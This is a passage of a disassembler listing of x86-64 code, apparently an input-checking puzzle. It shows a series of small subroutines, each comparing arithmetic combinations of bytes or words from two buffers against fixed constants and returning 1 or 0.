.text:0000000000401D7E var_8 = qword ptr -8
.text:0000000000401D7E
.text:0000000000401D7E ; __unwind {
.text:0000000000401D7E push rbp
.text:0000000000401D7F mov rbp, rsp
.text:0000000000401D82 mov [rbp+var_8], rdi
.text:0000000000401D86 mov [rbp+var_10], rsi
.text:0000000000401D8A mov rax, [rbp+var_8]
.text:0000000000401D8E movzx eax, byte ptr [rax+6Eh]
.text:0000000000401D92 mov edx, eax
.text:0000000000401D94 mov rax, [rbp+var_10]
.text:0000000000401D98 movzx eax, byte ptr [rax+49h]
.text:0000000000401D9C sub edx, eax
.text:0000000000401D9E mov eax, edx
.text:0000000000401DA0 cmp al, 0BAh
.text:0000000000401DA2 jnz short loc_401DC8
.text:0000000000401DA4 mov rax, [rbp+var_8]
.text:0000000000401DA8 movzx eax, byte ptr [rax+6Eh]
.text:0000000000401DAC mov ecx, eax
.text:0000000000401DAE mov rax, [rbp+var_10]
.text:0000000000401DB2 movzx eax, byte ptr [rax+49h]
.text:0000000000401DB6 mov edx, eax
.text:0000000000401DB8 mov eax, ecx
.text:0000000000401DBA imul eax, edx
.text:0000000000401DBD cmp al, 0D8h
.text:0000000000401DBF jnz short loc_401DC8
.text:0000000000401DC1 mov eax, 1
.text:0000000000401DC6 jmp short loc_401DCD
.text:0000000000401DC8 ; ---------------------------------------------------------------------------
.text:0000000000401DC8
.text:0000000000401DC8 loc_401DC8: ; CODE XREF: sub_401D7E+24↑j
.text:0000000000401DC8 ; sub_401D7E+41↑j
.text:0000000000401DC8 mov eax, 0
.text:0000000000401DCD
.text:0000000000401DCD loc_401DCD: ; CODE XREF: sub_401D7E+48↑j
.text:0000000000401DCD pop rbp
.text:0000000000401DCE retn
.text:0000000000401DCE ; } // starts at 401D7E
.text:0000000000401DCE sub_401D7E endp
.text:0000000000401DCE
.text:0000000000401DCF
.text:0000000000401DCF ; =============== S U B R O U T I N E =======================================
.text:0000000000401DCF
.text:0000000000401DCF ; Attributes: bp-based frame
.text:0000000000401DCF
.text:0000000000401DCF sub_401DCF proc near ; CODE XREF: sub_4036FC+AB6↓p
.text:0000000000401DCF
.text:0000000000401DCF var_10 = qword ptr -10h
.text:0000000000401DCF var_8 = qword ptr -8
.text:0000000000401DCF
.text:0000000000401DCF ; __unwind {
.text:0000000000401DCF push rbp
.text:0000000000401DD0 mov rbp, rsp
.text:0000000000401DD3 mov [rbp+var_8], rdi
.text:0000000000401DD7 mov [rbp+var_10], rsi
.text:0000000000401DDB mov rax, [rbp+var_8]
.text:0000000000401DDF movzx eax, byte ptr [rax+6Fh]
.text:0000000000401DE3 mov edx, eax
.text:0000000000401DE5 mov rax, [rbp+var_10]
.text:0000000000401DE9 movzx eax, byte ptr [rax+8Ah]
.text:0000000000401DF0 sub edx, eax
.text:0000000000401DF2 mov eax, edx
.text:0000000000401DF4 cmp al, 0BCh
.text:0000000000401DF6 jnz short loc_401E1F
.text:0000000000401DF8 mov rax, [rbp+var_8]
.text:0000000000401DFC movzx eax, byte ptr [rax+6Fh]
.text:0000000000401E00 movsx eax, al
.text:0000000000401E03 mov rdx, [rbp+var_10]
.text:0000000000401E07 movzx edx, byte ptr [rdx+8Ah]
.text:0000000000401E0E movsx ecx, dl
.text:0000000000401E11 cdq
.text:0000000000401E12 idiv ecx
.text:0000000000401E14 test al, al
.text:0000000000401E16 jnz short loc_401E1F
.text:0000000000401E18 mov eax, 1
.text:0000000000401E1D jmp short loc_401E24
.text:0000000000401E1F ; ---------------------------------------------------------------------------
.text:0000000000401E1F
.text:0000000000401E1F loc_401E1F: ; CODE XREF: sub_401DCF+27↑j
.text:0000000000401E1F ; sub_401DCF+47↑j
.text:0000000000401E1F mov eax, 0
.text:0000000000401E24
.text:0000000000401E24 loc_401E24: ; CODE XREF: sub_401DCF+4E↑j
.text:0000000000401E24 pop rbp
.text:0000000000401E25 retn
.text:0000000000401E25 ; } // starts at 401DCF
.text:0000000000401E25 sub_401DCF endp
.text:0000000000401E25
.text:0000000000401E26
.text:0000000000401E26 ; =============== S U B R O U T I N E =======================================
.text:0000000000401E26
.text:0000000000401E26 ; Attributes: bp-based frame
.text:0000000000401E26
.text:0000000000401E26 sub_401E26 proc near ; CODE XREF: sub_4036FC+AD5↓p
.text:0000000000401E26
.text:0000000000401E26 var_10 = qword ptr -10h
.text:0000000000401E26 var_8 = qword ptr -8
.text:0000000000401E26
.text:0000000000401E26 ; __unwind {
.text:0000000000401E26 push rbp
.text:0000000000401E27 mov rbp, rsp
.text:0000000000401E2A mov [rbp+var_8], rdi
.text:0000000000401E2E mov [rbp+var_10], rsi
.text:0000000000401E32 mov rax, [rbp+var_8]
.text:0000000000401E36 movzx eax, byte ptr [rax+83h]
.text:0000000000401E3D movsx eax, al
.text:0000000000401E40 mov rdx, [rbp+var_10]
.text:0000000000401E44 movzx edx, byte ptr [rdx+88h]
.text:0000000000401E4B movsx ecx, dl
.text:0000000000401E4E cdq
.text:0000000000401E4F idiv ecx
.text:0000000000401E51 cmp al, 1
.text:0000000000401E53 jnz short loc_401E7A
.text:0000000000401E55 mov rax, [rbp+var_8]
.text:0000000000401E59 movzx eax, byte ptr [rax+83h]
.text:0000000000401E60 mov edx, eax
.text:0000000000401E62 mov rax, [rbp+var_10]
.text:0000000000401E66 movzx eax, byte ptr [rax+88h]
.text:0000000000401E6D add eax, edx
.text:0000000000401E6F cmp al, 4Eh
.text:0000000000401E71 jnz short loc_401E7A
.text:0000000000401E73 mov eax, 1
.text:0000000000401E78 jmp short loc_401E7F
.text:0000000000401E7A ; ---------------------------------------------------------------------------
.text:0000000000401E7A
.text:0000000000401E7A loc_401E7A: ; CODE XREF: sub_401E26+2D↑j
.text:0000000000401E7A ; sub_401E26+4B↑j
.text:0000000000401E7A mov eax, 0
.text:0000000000401E7F
.text:0000000000401E7F loc_401E7F: ; CODE XREF: sub_401E26+52↑j
.text:0000000000401E7F pop rbp
.text:0000000000401E80 retn
.text:0000000000401E80 ; } // starts at 401E26
.text:0000000000401E80 sub_401E26 endp
.text:0000000000401E80
.text:0000000000401E81
.text:0000000000401E81 ; =============== S U B R O U T I N E =======================================
.text:0000000000401E81
.text:0000000000401E81 ; Attributes: bp-based frame
.text:0000000000401E81
.text:0000000000401E81 sub_401E81 proc near ; CODE XREF: sub_4036FC+AF4↓p
.text:0000000000401E81
.text:0000000000401E81 var_10 = qword ptr -10h
.text:0000000000401E81 var_8 = qword ptr -8
.text:0000000000401E81
.text:0000000000401E81 ; __unwind {
.text:0000000000401E81 push rbp
.text:0000000000401E82 mov rbp, rsp
.text:0000000000401E85 mov [rbp+var_8], rdi
.text:0000000000401E89 mov [rbp+var_10], rsi
.text:0000000000401E8D mov rax, [rbp+var_8]
.text:0000000000401E91 movzx eax, byte ptr [rax+83h]
.text:0000000000401E98 movsx eax, al
.text:0000000000401E9B mov rdx, [rbp+var_10]
.text:0000000000401E9F movzx edx, byte ptr [rdx+89h]
.text:0000000000401EA6 movsx ecx, dl
.text:0000000000401EA9 cdq
.text:0000000000401EAA idiv ecx
.text:0000000000401EAC test al, al
.text:0000000000401EAE jnz short loc_401ED5
.text:0000000000401EB0 mov rax, [rbp+var_8]
.text:0000000000401EB4 movzx eax, byte ptr [rax+83h]
.text:0000000000401EBB mov edx, eax
.text:0000000000401EBD mov rax, [rbp+var_10]
.text:0000000000401EC1 movzx eax, byte ptr [rax+89h]
.text:0000000000401EC8 add eax, edx
.text:0000000000401ECA cmp al, 8Fh
.text:0000000000401ECC jnz short loc_401ED5
.text:0000000000401ECE mov eax, 1
.text:0000000000401ED3 jmp short loc_401EDA
.text:0000000000401ED5 ; ---------------------------------------------------------------------------
.text:0000000000401ED5
.text:0000000000401ED5 loc_401ED5: ; CODE XREF: sub_401E81+2D↑j
.text:0000000000401ED5 ; sub_401E81+4B↑j
.text:0000000000401ED5 mov eax, 0
.text:0000000000401EDA
.text:0000000000401EDA loc_401EDA: ; CODE XREF: sub_401E81+52↑j
.text:0000000000401EDA pop rbp
.text:0000000000401EDB retn
.text:0000000000401EDB ; } // starts at 401E81
.text:0000000000401EDB sub_401E81 endp
.text:0000000000401EDB
.text:0000000000401EDC
.text:0000000000401EDC ; =============== S U B R O U T I N E =======================================
.text:0000000000401EDC
.text:0000000000401EDC ; Attributes: bp-based frame
.text:0000000000401EDC
.text:0000000000401EDC sub_401EDC proc near ; CODE XREF: sub_4036FC+B13↓p
.text:0000000000401EDC
.text:0000000000401EDC var_10 = qword ptr -10h
.text:0000000000401EDC var_8 = qword ptr -8
.text:0000000000401EDC
.text:0000000000401EDC ; __unwind {
.text:0000000000401EDC push rbp
.text:0000000000401EDD mov rbp, rsp
.text:0000000000401EE0 mov [rbp+var_8], rdi
.text:0000000000401EE4 mov [rbp+var_10], rsi
.text:0000000000401EE8 mov rax, [rbp+var_8]
.text:0000000000401EEC mov edx, [rax+84h]
.text:0000000000401EF2 mov rax, [rbp+var_10]
.text:0000000000401EF6 mov eax, [rax+96h]
.text:0000000000401EFC add eax, edx
.text:0000000000401EFE cmp eax, 0E2CAD6C0h
.text:0000000000401F03 jnz short loc_401F2B
.text:0000000000401F05 mov rax, [rbp+var_8]
.text:0000000000401F09 mov edx, [rax+84h]
.text:0000000000401F0F mov rax, [rbp+var_10]
.text:0000000000401F13 mov eax, [rax+96h]
.text:0000000000401F19 sub edx, eax
.text:0000000000401F1B mov eax, edx
.text:0000000000401F1D cmp eax, 5F7F9EEh
.text:0000000000401F22 jnz short loc_401F2B
.text:0000000000401F24 mov eax, 1
.text:0000000000401F29 jmp short loc_401F30
.text:0000000000401F2B ; ---------------------------------------------------------------------------
.text:0000000000401F2B
.text:0000000000401F2B loc_401F2B: ; CODE XREF: sub_401EDC+27↑j
.text:0000000000401F2B ; sub_401EDC+46↑j
.text:0000000000401F2B mov eax, 0
.text:0000000000401F30
.text:0000000000401F30 loc_401F30: ; CODE XREF: sub_401EDC+4D↑j
.text:0000000000401F30 pop rbp
.text:0000000000401F31 retn
.text:0000000000401F31 ; } // starts at 401EDC
.text:0000000000401F31 sub_401EDC endp
.text:0000000000401F31
.text:0000000000401F32
.text:0000000000401F32 ; =============== S U B R O U T I N E =======================================
.text:0000000000401F32
.text:0000000000401F32 ; Attributes: bp-based frame
.text:0000000000401F32
.text:0000000000401F32 sub_401F32 proc near ; CODE XREF: sub_4036FC+B32↓p
.text:0000000000401F32
.text:0000000000401F32 var_10 = qword ptr -10h
.text:0000000000401F32 var_8 = qword ptr -8
.text:0000000000401F32
.text:0000000000401F32 ; __unwind {
.text:0000000000401F32 push rbp
.text:0000000000401F33 mov rbp, rsp
.text:0000000000401F36 mov [rbp+var_8], rdi
.text:0000000000401F3A mov [rbp+var_10], rsi
.text:0000000000401F3E mov rax, [rbp+var_8]
.text:0000000000401F42 mov edx, [rax+84h]
.text:0000000000401F48 mov rax, [rbp+var_10]
.text:0000000000401F4C mov eax, [rax+0D2h]
.text:0000000000401F52 imul eax, edx
.text:0000000000401F55 cmp eax, 8CB0AEB9h
.text:0000000000401F5A jnz short loc_401F80
.text:0000000000401F5C mov rax, [rbp+var_8]
.text:0000000000401F60 mov edx, [rax+84h]
.text:0000000000401F66 mov rax, [rbp+var_10]
.text:0000000000401F6A mov eax, [rax+0D2h]
.text:0000000000401F70 add eax, edx
.text:0000000000401F72 cmp eax, 948DDFC6h
.text:0000000000401F77 jnz short loc_401F80
.text:0000000000401F79 mov eax, 1
.text:0000000000401F7E jmp short loc_401F85
.text:0000000000401F80 ; ---------------------------------------------------------------------------
.text:0000000000401F80
.text:0000000000401F80 loc_401F80: ; CODE XREF: sub_401F32+28↑j
.text:0000000000401F80 ; sub_401F32+45↑j
.text:0000000000401F80 mov eax, 0
.text:0000000000401F85
.text:0000000000401F85 loc_401F85: ; CODE XREF: sub_401F32+4C↑j
.text:0000000000401F85 pop rbp
.text:0000000000401F86 retn
.text:0000000000401F86 ; } // starts at 401F32
.text:0000000000401F86 sub_401F32 endp
.text:0000000000401F86
.text:0000000000401F87
.text:0000000000401F87 ; =============== S U B R O U T I N E =======================================
.text:0000000000401F87
.text:0000000000401F87 ; Attributes: bp-based frame
.text:0000000000401F87
.text:0000000000401F87 sub_401F87 proc near ; CODE XREF: sub_4036FC+B51↓p
.text:0000000000401F87
.text:0000000000401F87 var_10 = qword ptr -10h
.text:0000000000401F87 var_8 = qword ptr -8
.text:0000000000401F87
.text:0000000000401F87 ; __unwind {
.text:0000000000401F87 push rbp
.text:0000000000401F88 mov rbp, rsp
.text:0000000000401F8B mov [rbp+var_8], rdi
.text:0000000000401F8F mov [rbp+var_10], rsi
.text:0000000000401F93 mov rax, [rbp+var_8]
.text:0000000000401F97 movzx eax, word ptr [rax+88h]
.text:0000000000401F9E mov edx, eax
.text:0000000000401FA0 mov rax, [rbp+var_10]
.text:0000000000401FA4 movzx eax, word ptr [rax+8Ch]
.text:0000000000401FAB imul eax, edx
.text:0000000000401FAE cmp ax, 0A400h
.text:0000000000401FB2 jnz short loc_401FDB
.text:0000000000401FB4 mov rax, [rbp+var_8]
.text:0000000000401FB8 movzx eax, word ptr [rax+88h]
.text:0000000000401FBF mov edx, eax
.text:0000000000401FC1 mov rax, [rbp+var_10]
.text:0000000000401FC5 movzx eax, word ptr [rax+8Ch]
.text:0000000000401FCC add eax, edx
.text:0000000000401FCE cmp ax, 0D540h
.text:0000000000401FD2 jnz short loc_401FDB
.text:0000000000401FD4 mov eax, 1
.text:0000000000401FD9 jmp short loc_401FE0
.text:0000000000401FDB ; ---------------------------------------------------------------------------
.text:0000000000401FDB
.text:0000000000401FDB loc_401FDB: ; CODE XREF: sub_401F87+2B↑j
.text:0000000000401FDB ; sub_401F87+4B↑j
.text:0000000000401FDB mov eax, 0
.text:0000000000401FE0
.text:0000000000401FE0 loc_401FE0: ; CODE XREF: sub_401F87+52↑j
.text:0000000000401FE0 pop rbp
.text:0000000000401FE1 retn
.text:0000000000401FE1 ; } // starts at 401F87
.text:0000000000401FE1 sub_401F87 endp
.text:0000000000401FE1
.text:0000000000401FE2
.text:0000000000401FE2 ; =============== S U B R O U T I N E =======================================
.text:0000000000401FE2
.text:0000000000401FE2 ; Attributes: bp-based frame
.text:0000000000401FE2
.text:0000000000401FE2 sub_401FE2 proc near ; CODE XREF: sub_4036FC+B70↓p
.text:0000000000401FE2
.text:0000000000401FE2 var_10 = qword ptr -10h
.text:0000000000401FE2 var_8 = qword ptr -8
.text:0000000000401FE2
.text:0000000000401FE2 ; __unwind {
.text:0000000000401FE2 push rbp
.text:0000000000401FE3 mov rbp, rsp
.text:0000000000401FE6 mov [rbp+var_8], rdi
.text:0000000000401FEA mov [rbp+var_10], rsi
.text:0000000000401FEE mov rax, [rbp+var_8]
.text:0000000000401FF2 movzx eax, word ptr [rax+8Ah]
.text:0000000000401FF9 mov edx, eax
.text:0000000000401FFB mov rax, [rbp+var_10]
.text:0000000000401FFF movzx eax, word ptr [rax+8Ch]
.text:0000000000402006 add eax, edx
.text:0000000000402008 cmp ax, 0D992h
.text:000000000040200C jnz short loc_402037
.text:000000000040200E mov rax, [rbp+var_8]
.text:0000000000402012 movzx eax, word ptr [rax+8Ah]
.text:0000000000402019 mov edx, eax
.text:000000000040201B mov rax, [rbp+var_10]
.text:000000000040201F movzx eax, word ptr [rax+8Ch]
.text:0000000000402026 sub edx, eax
.text:0000000000402028 mov eax, edx
.text:000000000040202A cmp ax, 0F152h
.text:000000000040202E jnz short loc_402037
.text:0000000000402030 mov eax, 1
.text:0000000000402035 jmp short loc_40203C
.text:0000000000402037 ; ---------------------------------------------------------------------------
.text:0000000000402037
.text:0000000000402037 loc_402037: ; CODE XREF: sub_401FE2+2A↑j
.text:0000000000402037 ; sub_401FE2+4C↑j
.text:0000000000402037 mov eax, 0
.text:000000000040203C
.text:000000000040203C loc_40203C: ; CODE XREF: sub_401FE2+53↑j
.text:000000000040203C pop rbp
.text:000000000040203D retn
.text:000000000040203D ; } // starts at 401FE2
.text:000000000040203D sub_401FE2 endp
.text:000000000040203D
.text:000000000040203E
.text:000000000040203E ; =============== S U B R O U T I N E =======================================
.text:000000000040203E
.text:000000000040203E ; Attributes: bp-based frame
.text:000000000040203E
.text:000000000040203E sub_40203E proc near ; CODE XREF: sub_4036FC+B8F↓p
.text:000000000040203E
.text:000000000040203E var_10 = qword ptr -10h
.text:000000000040203E var_8 = qword ptr -8
.text:000000000040203E
.text:000000000040203E ; __unwind {
.text:000000000040203E push rbp
.text:000000000040203F mov rbp, rsp
.text:0000000000402042 mov [rbp+var_8], rdi
.text:0000000000402046 mov [rbp+var_10], rsi
.text:000000000040204A mov rax, [rbp+var_8]
.text:000000000040204E movzx eax, word ptr [rax+92h]
.text:0000000000402055 mov edx, eax
.text:0000000000402057 mov rax, [rbp+var_10]
.text:000000000040205B movzx eax, word ptr [rax+94h]
.text:0000000000402062 add eax, edx
.text:0000000000402064 cmp ax, 0CA85h
.text:0000000000402068 jnz short loc_402093
.text:000000000040206A mov rax, [rbp+var_8]
.text:000000000040206E movzx eax, word ptr [rax+92h]
.text:0000000000402075 cwde
.text:0000000000402076 mov rdx, [rbp+var_10]
.text:000000000040207A movzx edx, word ptr [rdx+94h]
.text:0000000000402081 movsx ecx, dx
.text:0000000000402084 cdq
.text:0000000000402085 idiv ecx
.text:0000000000402087 test ax, ax
.text:000000000040208A jnz short loc_402093
.text:000000000040208C mov eax, 1
.text:0000000000402091 jmp short loc_402098
.text:0000000000402093 ; ---------------------------------------------------------------------------
.text:0000000000402093
.text:0000000000402093 loc_402093: ; CODE XREF: sub_40203E+2A↑j
.text:0000000000402093 ; sub_40203E+4C↑j
.text:0000000000402093 mov eax, 0
.text:0000000000402098
.text:0000000000402098 loc_402098: ; CODE XREF: sub_40203E+53↑j
.text:0000000000402098 pop rbp
.text:0000000000402099 retn
.text:0000000000402099 ; } // starts at 40203E
.text:0000000000402099 sub_40203E endp
.text:0000000000402099
.text:000000000040209A
.text:000000000040209A ; =============== S U B R O U T I N E =======================================
.text:000000000040209A
.text:000000000040209A ; Attributes: bp-based frame
.text:000000000040209A
.text:000000000040209A sub_40209A proc near ; CODE XREF: sub_4036FC+BAE↓p
.text:000000000040209A
.text:000000000040209A var_10 = qword ptr -10h
.text:000000000040209A var_8 = qword ptr -8
.text:000000000040209A
.text:000000000040209A ; __unwind {
.text:000000000040209A push rbp
.text:000000000040209B mov rbp, rsp
.text:000000000040209E mov [rbp+var_8], rdi
.text:00000000004020A2 mov [rbp+var_10], rsi
.text:00000000004020A6 mov rax, [rbp+var_8]
.text:00000000004020AA movzx eax, word ptr [rax+92h]
.text:00000000004020B1 mov edx, eax
.text:00000000004020B3 mov rax, [rbp+var_10]
.text:00000000004020B7 movzx eax, word ptr [rax+96h]
.text:00000000004020BE add eax, edx
.text:00000000004020C0 cmp ax, 0D289h
.text:00000000004020C4 jnz short loc_4020EE
.text:00000000004020C6 mov rax, [rbp+var_8]
.text:00000000004020CA movzx eax, word ptr [rax+92h]
.text:00000000004020D1 mov edx, eax
.text:00000000004020D3 mov rax, [rbp+var_10]
.text:00000000004020D7 movzx eax, word ptr [rax+96h]
.text:00000000004020DE imul eax, edx
.text:00000000004020E1 cmp ax, 0D120h
.text:00000000004020E5 jnz short loc_4020EE
.text:00000000004020E7 mov eax, 1
.text:00000000004020EC jmp short loc_4020F3
.text:00000000004020EE ; ---------------------------------------------------------------------------
.text:00000000004020EE
.text:00000000004020EE loc_4020EE: ; CODE XREF: sub_40209A+2A↑j
.text:00000000004020EE ; sub_40209A+4B↑j
.text:00000000004020EE mov eax, 0
.text:00000000004020F3
.text:00000000004020F3 loc_4020F3: ; CODE XREF: sub_40209A+52↑j
.text:00000000004020F3 pop rbp
.text:00000000004020F4 retn
.text:00000000004020F4 ; } // starts at 40209A
.text:00000000004020F4 sub_40209A endp
.text:00000000004020F4
.text:00000000004020F5
.text:00000000004020F5 ; =============== S U B R O U T I N E =======================================
.text:00000000004020F5
.text:00000000004020F5 ; Attributes: bp-based frame
.text:00000000004020F5
.text:00000000004020F5 sub_4020F5 proc near ; CODE XREF: sub_4036FC+BCD↓p
.text:00000000004020F5
.text:00000000004020F5 var_10 = qword ptr -10h
.text:00000000004020F5 var_8 = qword ptr -8
.text:00000000004020F5
.text:00000000004020F5 ; __unwind {
.text:00000000004020F5 push rbp
.text:00000000004020F6 mov rbp, rsp
.text:00000000004020F9 mov [rbp+var_8], rdi
.text:00000000004020FD mov [rbp+var_10], rsi
.text:0000000000402101 mov rax, [rbp+var_8]
.text:0000000000402105 movzx eax, byte ptr [rax+94h]
.text:000000000040210C mov edx, eax
.text:000000000040210E mov rax, [rbp+var_10]
.text:0000000000402112 movzx eax, byte ptr [rax+0A2h]
.text:0000000000402119 sub edx, eax
.text:000000000040211B mov eax, edx
.text:000000000040211D cmp al, 0F1h
.text:000000000040211F jnz short loc_40214B
.text:0000000000402121 mov rax, [rbp+var_8]
.text:0000000000402125 movzx eax, byte ptr [rax+94h]
.text:000000000040212C mov ecx, eax
.text:000000000040212E mov rax, [rbp+var_10]
.text:0000000000402132 movzx eax, byte ptr [rax+0A2h]
.text:0000000000402139 mov edx, eax
.text:000000000040213B mov eax, ecx
.text:000000000040213D imul eax, edx
.text:0000000000402140 cmp al, 0C4h
.text:0000000000402142 jnz short loc_40214B
.text:0000000000402144 mov eax, 1
.text:0000000000402149 jmp short loc_402150
.text:000000000040214B ; ---------------------------------------------------------------------------
.text:000000000040214B
.text:000000000040214B loc_40214B: ; CODE XREF: sub_4020F5+2A↑j
.text:000000000040214B ; sub_4020F5+4D↑j
.text:000000000040214B mov eax, 0
.text:0000000000402150
.text:0000000000402150 loc_402150: ; CODE XREF: sub_4020F5+54↑j
.text:0000000000402150 pop rbp
.text:0000000000402151 retn
.text:0000000000402151 ; } // starts at 4020F5
.text:0000000000402151 sub_4020F5 endp
.text:0000000000402151
.text:0000000000402152
.text:0000000000402152 ; =============== S U B R O U T I N E =======================================
.text:0000000000402152
.text:0000000000402152 ; Attributes: bp-based frame
.text:0000000000402152
.text:0000000000402152 sub_402152 proc near ; CODE XREF: sub_4036FC+BEC↓p
.text:0000000000402152
.text:0000000000402152 var_10 = qword ptr -10h
.text:0000000000402152 var_8 = qword ptr -8
.text:0000000000402152
.text:0000000000402152 ; __unwind {
.text:0000000000402152 push rbp
.text:0000000000402153 mov rbp, rsp
.text:0000000000402156 mov [rbp+var_8], rdi
.text:000000000040215A mov [rbp+var_10], rsi
.text:000000000040215E mov rax, [rbp+var_8]
.text:0000000000402162 movzx eax, byte ptr [rax+95h]
.text:0000000000402169 movsx eax, al
.text:000000000040216C mov rdx, [rbp+var_10]
.text:0000000000402170 movzx edx, byte ptr [rdx+0A2h]
.text:0000000000402177 movsx ecx, dl
.text:000000000040217A cdq
.text:000000000040217B idiv ecx
.text:000000000040217D test al, al
.text:000000000040217F jnz short loc_4021A6
.text:0000000000402181 mov rax, [rbp+var_8]
.text:0000000000402185 movzx eax, byte ptr [rax+95h]
.text:000000000040218C mov edx, eax
.text:000000000040218E mov rax, [rbp+var_10]
.text:0000000000402192 movzx eax, byte ptr [rax+0A2h]
.text:0000000000402199 add eax, edx
.text:000000000040219B cmp al, 0DAh
.text:000000000040219D jnz short loc_4021A6
.text:000000000040219F mov eax, 1
.text:00000000004021A4 jmp short loc_4021AB
.text:00000000004021A6 ; ---------------------------------------------------------------------------
.text:00000000004021A6
.text:00000000004021A6 loc_4021A6: ; CODE XREF: sub_402152+2D↑j
.text:00000000004021A6 ; sub_402152+4B↑j
.text:00000000004021A6 mov eax, 0
.text:00000000004021AB
.text:00000000004021AB loc_4021AB: ; CODE XREF: sub_402152+52↑j
.text:00000000004021AB pop rbp
.text:00000000004021AC retn
.text:00000000004021AC ; } // starts at 402152
.text:00000000004021AC sub_402152 endp
.text:00000000004021AC
.text:00000000004021AD
.text:00000000004021AD ; =============== S U B R O U T I N E =======================================
.text:00000000004021AD
.text:00000000004021AD ; Attributes: bp-based frame
.text:00000000004021AD
.text:00000000004021AD sub_4021AD proc near ; CODE XREF: sub_4036FC+C0B↓p
.text:00000000004021AD
.text:00000000004021AD var_10 = qword ptr -10h
.text:00000000004021AD var_8 = qword ptr -8
.text:00000000004021AD
.text:00000000004021AD ; __unwind {
.text:00000000004021AD push rbp
.text:00000000004021AE mov rbp, rsp
.text:00000000004021B1 mov [rbp+var_8], rdi
.text:00000000004021B5 mov [rbp+var_10], rsi
.text:00000000004021B9 mov rax, [rbp+var_8]
.text:00000000004021BD movzx eax, word ptr [rax+98h]
.text:00000000004021C4 mov edx, eax
.text:00000000004021C6 mov rax, [rbp+var_10]
.text:00000000004021CA movzx eax, word ptr [rax+8Eh]
.text:00000000004021D1 sub edx, eax
.text:00000000004021D3 mov eax, edx
.text:00000000004021D5 cmp ax, 0FC01h
.text:00000000004021D9 jnz short loc_402203
.text:00000000004021DB mov rax, [rbp+var_8]
.text:00000000004021DF movzx eax, word ptr [rax+98h]
.text:00000000004021E6 mov edx, eax
.text:00000000004021E8 mov rax, [rbp+var_10]
.text:00000000004021EC movzx eax, word ptr [rax+8Eh]
.text:00000000004021F3 imul eax, edx
.text:00000000004021F6 cmp ax, 9CA8h
.text:00000000004021FA jnz short loc_402203
.text:00000000004021FC mov eax, 1
.text:0000000000402201 jmp short loc_402208
.text:0000000000402203 ; ---------------------------------------------------------------------------
.text:0000000000402203
.text:0000000000402203 loc_402203: ; CODE XREF: sub_4021AD+2C↑j
.text:0000000000402203 ; sub_4021AD+4D↑j
.text:0000000000402203 mov eax, 0
.text:0000000000402208
.text:0000000000402208 loc_402208: ; CODE XREF: sub_4021AD+54↑j
.text:0000000000402208 pop rbp
.text:0000000000402209 retn
.text:0000000000402209 ; } // starts at 4021AD
.text:0000000000402209 sub_4021AD endp
.text:0000000000402209
.text:000000000040220A
.text:000000000040220A ; =============== S U B R O U T I N E =======================================
.text:000000000040220A
.text:000000000040220A ; Attributes: bp-based frame
.text:000000000040220A
.text:000000000040220A sub_40220A proc near ; CODE XREF: sub_4036FC+C2A↓p
.text:000000000040220A
.text:000000000040220A var_10 = qword ptr -10h
.text:000000000040220A var_8 = qword ptr -8
.text:000000000040220A
.text:000000000040220A ; __unwind {
.text:000000000040220A push rbp
.text:000000000040220B mov rbp, rsp
.text:000000000040220E mov [rbp+var_8], rdi
.text:0000000000402212 mov [rbp+var_10], rsi
.text:0000000000402216 mov rax, [rbp+var_8]
.text:000000000040221A movzx eax, byte ptr [rax+9Ah]
.text:0000000000402221 movsx eax, al
.text:0000000000402224 mov rdx, [rbp+var_10]
.text:0000000000402228 movzx edx, byte ptr [rdx+6Bh]
.text:000000000040222C movsx ecx, dl
.text:000000000040222F cdq
.text:0000000000402230 idiv ecx
.text:0000000000402232 cmp al, 1
.text:0000000000402234 jnz short loc_402258
.text:0000000000402236 mov rax, [rbp+var_8]
.text:000000000040223A movzx eax, byte ptr [rax+9Ah]
.text:0000000000402241 mov edx, eax
.text:0000000000402243 mov rax, [rbp+var_10]
.text:0000000000402247 movzx eax, byte ptr [rax+6Bh]
.text:000000000040224B add eax, edx
.text:000000000040224D cmp al, 0A6h
.text:000000000040224F jnz short loc_402258
.text:0000000000402251 mov eax, 1
.text:0000000000402256 jmp short loc_40225D
.text:0000000000402258 ; ---------------------------------------------------------------------------
.text:0000000000402258
.text:0000000000402258 loc_402258: ; CODE XREF: sub_40220A+2A↑j
.text:0000000000402258 ; sub_40220A+45↑j
.text:0000000000402258 mov eax, 0
.text:000000000040225D
.text:000000000040225D loc_40225D: ; CODE XREF: sub_40220A+4C↑j
.text:000000000040225D pop rbp
.text:000000000040225E retn
.text:000000000040225E ; } // starts at 40220A
.text:000000000040225E sub_40220A endp
.text:000000000040225E
.text:000000000040225F
.text:000000000040225F ; =============== S U B R O U T I N E =======================================
.text:000000000040225F
.text:000000000040225F ; Attributes: bp-based frame
.text:000000000040225F
.text:000000000040225F sub_40225F proc near ; CODE XREF: sub_4036FC+C49↓p
.text:000000000040225F
.text:000000000040225F var_10 = qword ptr -10h
.text:000000000040225F var_8 = qword ptr -8
.text:000000000040225F
.text:000000000040225F ; __unwind {
.text:000000000040225F push rbp
.text:0000000000402260 mov rbp, rsp
.text:0000000000402263 mov [rbp+var_8], rdi
.text:0000000000402267 mov [rbp+var_10], rsi
.text:000000000040226B mov rax, [rbp+var_8]
.text:000000000040226F movzx eax, byte ptr [rax+0A0h]
.text:0000000000402276 movsx eax, al
.text:0000000000402279 mov rdx, [rbp+var_10]
.text:000000000040227D movzx edx, byte ptr [rdx+8Bh]
.text:0000000000402284 movsx ecx, dl
.text:0000000000402287 cdq
.text:0000000000402288 idiv ecx
.text:000000000040228A test al, al
.text:000000000040228C jnz short loc_4022B5
.text:000000000040228E mov rax, [rbp+var_8]
.text:0000000000402292 movzx eax, byte ptr [rax+0A0h]
.text:0000000000402299 mov edx, eax
.text:000000000040229B mov rax, [rbp+var_10]
.text:000000000040229F movzx eax, byte ptr [rax+8Bh]
.text:00000000004022A6 sub edx, eax
.text:00000000004022A8 mov eax, edx
.text:00000000004022AA cmp al, 0FCh
.text:00000000004022AC jnz short loc_4022B5
.text:00000000004022AE mov eax, 1
.text:00000000004022B3 jmp short loc_4022BA
.text:00000000004022B5 ; ---------------------------------------------------------------------------
.text:00000000004022B5
.text:00000000004022B5 loc_4022B5: ; CODE XREF: sub_40225F+2D↑j
.text:00000000004022B5 ; sub_40225F+4D↑j
.text:00000000004022B5 mov eax, 0
.text:00000000004022BA
.text:00000000004022BA loc_4022BA: ; CODE XREF: sub_40225F+54↑j
.text:00000000004022BA pop rbp
.text:00000000004022BB retn
.text:00000000004022BB ; } // starts at 40225F
.text:00000000004022BB sub_40225F endp
.text:00000000004022BB
.text:00000000004022BC
